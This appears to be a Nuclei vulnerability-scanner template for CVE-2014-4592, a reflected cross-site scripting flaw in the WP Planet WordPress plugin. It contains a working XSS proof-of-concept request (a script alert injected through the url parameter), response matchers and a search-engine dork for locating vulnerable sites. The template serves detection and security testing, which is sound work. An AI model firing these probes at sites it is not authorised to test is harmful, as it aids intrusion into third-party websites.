id: CVE-2014-4592

info:
  name: WP Planet <= 0.1 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: |
    A cross-site scripting vulnerability in rss.class/scripts/magpie_debug.php in the WP-Planet plugin 0.1 and earlier for WordPress allows remote attackers to inject arbitrary web script or HTML via the url parameter.
  remediation: |
    Update to the latest version of WP Planet plugin (0.1 or higher) or apply the vendor-supplied patch to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/3c9a3a97-8157-4976-8148-587d923e1fb3
    - https://nvd.nist.gov/vuln/detail/CVE-2014-4592
    - http://codevigilant.com/disclosure/wp-plugin-wp-planet-a3-cross-site-scripting-xss
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-4592
    cwe-id: CWE-79
    epss-score: 0.00135
    epss-percentile: 0.47838
    cpe: cpe:2.3:a:czepol:wp-planet:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: czepol
    product: wp-planet
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/wp-planet"
  tags: cve2014,cve,wordpress,wp-plugin,xss,wpscan,unauth,czepol

http:
  - raw:
      - |
        GET /wp-content/plugins//wp-planet/readme.txt HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /wp-content/plugins/wp-planet/rss.class/scripts/magpie_debug.php?url=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_1
        words:
          - "WP Planet"

      - type: word
        part: body_2
        words:
          - "<script>alert(document.domain)</script>"

      - type: word
        part: header_2
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100a2bd4ee7dd4410fcf6088eb1ea98117e6cb1d07778ec987702193ec58f1a32d2022071f4dedaed29b1e6c680e09b1e91688a875574e60a2b29ceb986f8ee3ec5d2fe:922c64590222798bb761d5b6d8e72950